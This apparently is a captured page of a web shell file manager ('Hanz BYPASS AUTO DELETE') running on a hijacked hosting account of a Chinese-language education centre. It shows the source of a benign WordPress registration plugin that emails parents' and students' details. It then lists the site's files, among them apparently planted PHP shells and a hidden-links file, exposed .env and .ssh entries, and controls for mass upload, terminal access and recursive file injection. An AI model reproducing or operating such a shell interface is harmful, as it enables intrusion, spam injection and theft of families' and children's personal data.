./Hanz BYPASS AUTO DELETE

Path: / homepages / 44 / d338820553 / htdocs / clickandbuilds / FACES

๐Ÿ“ Current Folder: FACES Permission: 0755 (klik permission untuk ganti chmod folder ini)
๐Ÿ“ฆ Mass Upload ๐Ÿ’ป Terminal ๐Ÿ“„ + Add File ๐Ÿ”ฅ + Mass Add File (Recursive)


Viewing: face-registration copy.php

<?php
/**
 * Plugin Name:  FACES Registration Endpoint
 * Description:  Adds a simple REST endpoint /wp-json/faces/v1/register to email FACES registration submissions.
 * Version:      1.0.0
 * Author:       ChatGPT
 * License:      GPL-2.0-or-later
 *
 * Usage:
 * 1) Upload this single file to wp-content/plugins/face-registration.php
 * 2) Activate in WordPress โ†’ Plugins.
 * 3) Your front-end can POST JSON to /wp-json/faces/v1/register
 *    (see the fetch() in your form file). The email is sent to info@yucai.org by default.
 * 4) To change recipient or subject, add filters in your theme/plugin:
 *      add_filter('faces_registration_to', fn() => 'faces@yucai.org');
 *      add_filter('faces_registration_subject', fn($s) => 'New FACES Registration โ€” Site A');
 */

if (!defined('ABSPATH')) { exit; }

add_action('rest_api_init', function () {
  register_rest_route('faces/v1', '/register', [
    'methods'             => ['POST', 'OPTIONS'],
    'callback'            => 'faces_handle_register',
    'permission_callback' => '__return_true', // Public endpoint; add verification if needed (nonce, recaptcha, etc.)
  ]);
});

/**
 * Handle registration payload and email it.
 * @param WP_REST_Request $req
 * @return WP_REST_Response|WP_Error
 */
function faces_handle_register($req) {
  // Simple CORS/preflight support (tweak as needed)
  if ($req->get_method() === 'OPTIONS') {
    return new WP_REST_Response(null, 204);
  }

  $p = $req->get_json_params();
  if (!is_array($p)) {
    return new WP_Error('bad_json', 'Invalid JSON payload', ['status' => 400]);
  }

  // Basic validation
  if (empty($p['parents']) || empty($p['students'])) {
    return new WP_Error('missing_fields', 'Parents and students are required', ['status' => 400]);
  }

  $to       = apply_filters('faces_registration_to', 'info@yucai.org');
  $subject  = apply_filters('faces_registration_subject', 'ๆ–ฐ็š„่‚ฒๆ‰ไน‹ๅฎถๆŠฅๅ');
  $headers  = ['Content-Type: text/html; charset=UTF-8'];
  $headers  = apply_filters('faces_registration_headers', $headers);

  ob_start();
  ?>
  <style>
    body { font-family: -apple-system, Segoe UI, Roboto, Arial, sans-serif; color:#111; }
    h1,h2 { margin: .2rem 0; }
    table { border-collapse: collapse; width: 100%; margin: .5rem 0 1rem; }
    th, td { border: 1px solid #e5e7eb; padding: .4rem .5rem; text-align: left; vertical-align: top; }
    .muted { color:#6b7280; }
  </style>

  <h1>่‚ฒๆ‰ไน‹ๅฎถๆŠฅๅไฟกๆฏ</h1>
  <p class="muted">ๆไบคๆ—ถ้—ด๏ผš<?php echo esc_html( current_time('mysql') ); ?></p>

  <h2>ๅฎถ้•ฟ / ็›‘ๆŠคไบบ</h2>
  <table>
    <thead><tr><th>#</th><th>ๅง“ๅ</th><th>ไธŽๅญฆ็”Ÿๅ…ณ็ณป</th><th>้‚ฎ็ฎฑ</th><th>็”ต่ฏ</th></tr></thead>
    <tbody>
    <?php foreach (($p['parents'] ?? []) as $i => $parent): ?>
      <tr>
        <td><?php echo (int)($i+1); ?></td>
        <td><?php echo esc_html($parent['name'] ?? ''); ?></td>
        <td><?php echo esc_html($parent['relationship'] ?? ''); ?></td>
        <td><?php echo esc_html($parent['email'] ?? ''); ?></td>
        <td><?php echo esc_html($parent['phone'] ?? ''); ?></td>
      </tr>
    <?php endforeach; ?>
    </tbody>
  </table>

  <p><strong>ๅฎถๅบญไฝๅ€๏ผš</strong> <?php echo esc_html($p['address'] ?? ''); ?></p>

  <h2>ๅญฆ็”Ÿไฟกๆฏ</h2>
  <table>
    <thead><tr><th>#</th><th>ๅง“ๅ</th><th>ๅ‡บ็”Ÿๆ—ฅๆœŸ</th><th>ๅนด็บง</th><th>ๆ€งๅˆซ</th><th>ๅญฆๆ ก</th></tr></thead>
    <tbody>
    <?php foreach (($p['students'] ?? []) as $i => $s): ?>
      <tr>
        <td><?php echo (int)($i+1); ?></td>
        <td><?php echo esc_html($s['name'] ?? ''); ?></td>
        <td><?php echo esc_html($s['dob'] ?? ''); ?></td>
        <td><?php echo esc_html($s['grade'] ?? ''); ?></td>
        <td><?php echo esc_html($s['gender'] ?? ''); ?></td>
        <td><?php echo esc_html($s['school'] ?? ''); ?></td>
      </tr>
      <?php if (!empty($s['interests']) || !empty($s['notes'])): ?>
        <tr>
          <td class="muted">&nbsp;</td>
          <td colspan="5">
            <?php if (!empty($s['interests'])): ?>
              <div><strong>ๅ…ด่ถฃไธŽ็‰น้•ฟ๏ผš</strong> <?php echo esc_html($s['interests']); ?></div>
            <?php endif; ?>
            <?php if (!empty($s['notes'])): ?>
              <div><strong>็ป™่€ๅธˆ็š„ๅค‡ๆณจ๏ผš</strong> <?php echo nl2br( esc_html($s['notes']) ); ?></div>
            <?php endif; ?>
          </td>
        </tr>
      <?php endif; ?>
    <?php endforeach; ?>
    </tbody>
  </table>

  <h2>ๆŠฅๅ่ฏพ็จ‹</h2>
  <p><?php echo esc_html( implode(', ', $p['classSelections'] ?? []) ); ?></p>

  <h2>ไธŠ่ฏพๆ—ถ้—ดๅๅฅฝ</h2>
  <p>ๆ—ฅๆœŸ๏ผš<?php echo esc_html($p['preferredDays'] ?? ''); ?>
     &nbsp;|&nbsp; ๆ—ถ้—ด๏ผš<?php echo esc_html($p['preferredTimes'] ?? ''); ?></p>

  <h2>่กฅๅ……่ฏดๆ˜Ž</h2>
  <p><?php echo nl2br( esc_html($p['programs'] ?? '') ); ?></p>

  <h2>ๅŒๆ„ๆกๆฌพ</h2>
  <p>
    ็…ง็‰‡/่ง†้ข‘ๆŽˆๆƒ๏ผš<?php echo !empty($p['photoConsent']) ? 'ๆ˜ฏ' : 'ๅฆ'; ?><br/>
    ่ดฃไปป่ฑๅ…ๅŒๆ„๏ผš<?php echo !empty($p['liability']) ? 'ๆ˜ฏ' : 'ๅฆ'; ?><br/>
    ็Ÿฅๆ™“ๆŠฅๅ่ดน๏ผš<?php echo !empty($p['regFee']) ? 'ๆ˜ฏ' : 'ๅฆ'; ?>
  </p>

  <h2>็ญพๅ</h2>
  <p><?php echo esc_html($p['signature'] ?? ''); ?> โ€” <?php echo esc_html($p['sigDate'] ?? ''); ?></p>
  <?php
  $body = ob_get_clean();

  $sent = wp_mail($to, $subject, $body, $headers);
  if (!$sent) {
    return new WP_Error('mail_failed', 'Email failed to send', ['status' => 500]);
  }

  return new WP_REST_Response(['ok' => true], 200);
}
Close
Name Perm Action
๐Ÿ“ .. (Parent Directory) 755
๐Ÿ“ .ssh 755 Rename Del
๐Ÿ“ .well-known 755 Rename Del
๐Ÿ“ ACT 755 Rename Del
๐Ÿ“ AI 755 Rename Del
๐Ÿ“ Flooring 755 Rename Del
๐Ÿ“ SBGA 755 Rename Del
๐Ÿ“ Static 755 Rename Del
๐Ÿ“ amp 755 Rename Del
๐Ÿ“ app 755 Rename Del
๐Ÿ“ assets 755 Rename Del
๐Ÿ“ clickandbuilds 755 Rename Del
๐Ÿ“ code 755 Rename Del
๐Ÿ“ dailyword 755 Rename Del
๐Ÿ“ documents 755 Rename Del
๐Ÿ“ game-online 755 Rename Del
๐Ÿ“ iOS 755 Rename Del
๐Ÿ“ img 755 Rename Del
๐Ÿ“ media 755 Rename Del
๐Ÿ“ parents 755 Rename Del
๐Ÿ“ public_html 705 Rename Del
๐Ÿ“ server 755 Rename Del
๐Ÿ“ wp-content 755 Rename Del
๐Ÿ“ xxx 755 Rename Del
๐Ÿ“„ .env 644 Rename Del Edit View
๐Ÿ“„ .gitignore 644 Rename Del Edit View
๐Ÿ“„ 20260704.html 644 Rename Del Edit View
๐Ÿ“„ 2026summer_schedule.html 644 Rename Del Edit View
๐Ÿ“„ 2026summer_schedule_en.html 644 Rename Del Edit View
๐Ÿ“„ 20270704.html 644 Rename Del Edit View
๐Ÿ“„ AI_creation.html 644 Rename Del Edit View
๐Ÿ“„ APChemistry.html 644 Rename Del Edit View
๐Ÿ“„ APChemistry_en.html 644 Rename Del Edit View
๐Ÿ“„ Circuit.html 644 Rename Del Edit View
๐Ÿ“„ FACESParentalHandbook.pdf 644 Rename Del Edit View
๐Ÿ“„ Get_started_TTS.ipynb 644 Rename Del Edit View
๐Ÿ“„ README.md 644 Rename Del Edit View
๐Ÿ“„ RobloxCoding.html 644 Rename Del Edit View
๐Ÿ“„ SAT.html 644 Rename Del Edit View
๐Ÿ“„ absent.html 644 Rename Del Edit View
๐Ÿ“„ absent_en.html 644 Rename Del Edit View
๐Ÿ“„ afterschool.html 644 Rename Del Edit View
๐Ÿ“„ afterschool_en.html 644 Rename Del Edit View
๐Ÿ“„ alternate-pickup.html 644 Rename Del Edit View
๐Ÿ“„ alternate-pickup_en.html 644 Rename Del Edit View
๐Ÿ“„ awards-store.html 644 Rename Del Edit View
๐Ÿ“„ basketball.html 644 Rename Del Edit View
๐Ÿ“„ c_academics.html 644 Rename Del Edit View
๐Ÿ“„ c_art.html 644 Rename Del Edit View
๐Ÿ“„ c_elementary.html 644 Rename Del Edit View
๐Ÿ“„ c_highschool.html 644 Rename Del Edit View
๐Ÿ“„ c_leadership.html 644 Rename Del Edit View
๐Ÿ“„ c_middle.html 644 Rename Del Edit View
๐Ÿ“„ c_social.html 644 Rename Del Edit View
๐Ÿ“„ c_sports.html 644 Rename Del Edit View
๐Ÿ“„ c_volunteer.html 644 Rename Del Edit View
๐Ÿ“„ charitysale.html 644 Rename Del Edit View
๐Ÿ“„ charitysale_en.html 644 Rename Del Edit View
๐Ÿ“„ chinese.html 644 Rename Del Edit View
๐Ÿ“„ congressional_award.html 644 Rename Del Edit View
๐Ÿ“„ daily_vocab.html 644 Rename Del Edit View
๐Ÿ“„ dailyword.html 644 Rename Del Edit View
๐Ÿ“„ face-registration copy.php 444 Rename Del Edit View
๐Ÿ“„ face-registration.php 644 Rename Del Edit View
๐Ÿ“„ faces-endpoints.php 644 Rename Del Edit View
๐Ÿ“„ faces-endpoints.php.zip 644 Rename Del Edit View
๐Ÿ“„ favicon.ico 644 Rename Del Edit View
๐Ÿ“„ field-trip-waiver-wedgeworth_cn.html 644 Rename Del Edit View
๐Ÿ“„ field-trip-waiver.html 644 Rename Del Edit View
๐Ÿ“„ field-trip-waiver_cn.html 644 Rename Del Edit View
๐Ÿ“„ freemath.html 644 Rename Del Edit View
๐Ÿ“„ hans.php 644 Rename Del Edit View
๐Ÿ“„ hapus.php 604 Rename Del Edit View
๐Ÿ“„ hidden_links.txt 604 Rename Del Edit View
๐Ÿ“„ highschoolmath.html 644 Rename Del Edit View
๐Ÿ“„ home1.html 644 Rename Del Edit View
๐Ÿ“„ hust.txt 604 Rename Del Edit View
๐Ÿ“„ index.php 644 Rename Del Edit View
๐Ÿ“„ index_en.html 644 Rename Del Edit View
๐Ÿ“„ judo.html 644 Rename Del Edit View
๐Ÿ“„ lexa.php 644 Rename Del Edit View
๐Ÿ“„ logo.png 644 Rename Del Edit View
๐Ÿ“„ lords_prayer_family_page.html 644 Rename Del Edit View
๐Ÿ“„ math_teaching.html 644 Rename Del Edit View
๐Ÿ“„ mini.php 644 Rename Del Edit View
๐Ÿ“„ ni_english.html 644 Rename Del Edit View
๐Ÿ“„ p.php 604 Rename Del Edit View
๐Ÿ“„ package-lock.json 644 Rename Del Edit View
๐Ÿ“„ package.json 644 Rename Del Edit View
๐Ÿ“„ page_layout_template.html 644 Rename Del Edit View
๐Ÿ“„ register.php 644 Rename Del Edit View
๐Ÿ“„ registration_cn.html 644 Rename Del Edit View
๐Ÿ“„ registration_en.html 644 Rename Del Edit View
๐Ÿ“„ robots.txt 644 Rename Del Edit View
๐Ÿ“„ sat_en.html 644 Rename Del Edit View
๐Ÿ“„ sat_winter_intensive.html 644 Rename Del Edit View
๐Ÿ“„ saturdaymath.html 644 Rename Del Edit View
๐Ÿ“„ schedule.html 644 Rename Del Edit View
๐Ÿ“„ schedule_good.html 644 Rename Del Edit View
๐Ÿ“„ senior_concert_en.html 644 Rename Del Edit View
๐Ÿ“„ senior_conert.html 644 Rename Del Edit View
๐Ÿ“„ sitemap.xml 604 Rename Del Edit View
๐Ÿ“„ spring_camp_2026.html 644 Rename Del Edit View
๐Ÿ“„ spring_camp_2026_en.html 644 Rename Del Edit View
๐Ÿ“„ springbreak.html 644 Rename Del Edit View
๐Ÿ“„ ss1.html 644 Rename Del Edit View
๐Ÿ“„ student_form.html 644 Rename Del Edit View
๐Ÿ“„ subsidy.html 644 Rename Del Edit View
๐Ÿ“„ summer_schedule_artistic.html 644 Rename Del Edit View
๐Ÿ“„ summer_schedule_artistic_en.html 644 Rename Del Edit View
๐Ÿ“„ summercamp.html 644 Rename Del Edit View
๐Ÿ“„ summercamp2026.html 644 Rename Del Edit View
๐Ÿ“„ summercamp2026_en.html 644 Rename Del Edit View
๐Ÿ“„ testtest.txt 644 Rename Del Edit View
๐Ÿ“„ title.txt 200 Rename Del Edit View
๐Ÿ“„ tts-proxy.php 644 Rename Del Edit View
๐Ÿ“„ tts.html 644 Rename Del Edit View
๐Ÿ“„ tts.js 644 Rename Del Edit View
๐Ÿ“„ tuition_payment.html 644 Rename Del Edit View
๐Ÿ“„ v_dance.html 644 Rename Del Edit View
๐Ÿ“„ v_ele_math.html 644 Rename Del Edit View
๐Ÿ“„ v_mentalmath.html 644 Rename Del Edit View
๐Ÿ“„ v_piano.html 644 Rename Del Edit View
๐Ÿ“„ v_reading.html 644 Rename Del Edit View
๐Ÿ“„ v_violin.html 644 Rename Del Edit View
๐Ÿ“„ v_vocabulary.html 644 Rename Del Edit View
๐Ÿ“„ vocabulary_db_1st_grade_real_pos_part_zh copy.json 444 Rename Del Edit View
๐Ÿ“„ vocabulary_lesson2.html 644 Rename Del Edit View
๐Ÿ“„ waiver.php 644 Rename Del Edit View
๐Ÿ“„ walnut_site.html 644 Rename Del Edit View
๐Ÿ“„ walnut_site_en.html 644 Rename Del Edit View
๐Ÿ“„ wechat.html 644 Rename Del Edit View
๐Ÿ“„ wechat_cn.html 644 Rename Del Edit View
๐Ÿ“„ wechat_en.html 644 Rename Del Edit View
๐Ÿ“„ winter_camp.html 644 Rename Del Edit View
๐Ÿ“„ word-db-06-20.json 644 Rename Del Edit View
๐Ÿ“„ word-db.json 644 Rename Del Edit View
๐Ÿ“„ writing.html 644 Rename Del Edit View
๐Ÿ“„ writing1.html 644 Rename Del Edit View